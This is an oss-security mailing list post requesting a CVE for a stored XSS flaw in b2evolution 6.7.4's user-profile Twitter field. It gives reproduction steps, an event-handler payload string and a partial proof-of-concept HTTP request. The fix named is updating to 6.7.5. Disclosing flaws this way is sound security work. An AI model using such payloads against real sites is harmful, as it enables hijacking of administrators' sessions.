Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 12 Aug 2016 07:18:53 +0000
From: 陈瑞琦 <>
To: "" <>
Subject: CVE request: XSS vuln in b2evolution v6.7.4

I found a XSS vuln in b2evolution v6.7.4

Title: Stored XSS in b2evolution version 6.7.4
Author: Chen Ruiqi,, @Codesafe Team
Date: 2016-08-09
Download Site:
Vendor Notified: 2016-08-09
Vendor Contact:
b2evolution is a content and community management system written in PHP and backed by a MySQL database. It is distributed as free software under the GNU General Public License.
b2evolution originally started as a multi-user multi-blog engine when Fran?ois Planque forked b2evolution from version 0.6.1 of b2/cafelog in 2003.[2] A more widely known fork of b2/cafelog is WordPress. b2evolution is available in web host control panels as a "one click install" web app.[3](Wiki)
There is stored XSS in b2evolution version 6.7.4
Any user can edit his or her twitter infomation at 'User Profile' with some evil code.
And when the admin see the user profile at back-office, the page is lack of filter to protect the admin.

Step 1 : Register a user of the web-site
Step 2 : Edit the twitter at with something like"onmouseover="alert(1)"onerror=1
Step 3 : Save the changes
Step 4 : The admin view the profile in back-office at , when the mouse over the content, the XSS code runs.

PoC Code:
POST /b2evolution/htsrv/profile_update.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: session_b2evo_192_168_204_128=49_I0EnVHgDXBKjsJd0e8fEhK6Ga82xEGDt; __smToken=AhuNTZNC8BaMfAVQV7ZpTW5a; evo_style=Variation
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 653

Fix Code:
Update to the version 6.7.5

Could you assign CVE id for this?

Thank you

Chen Ruiqi
Codesafe Team

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.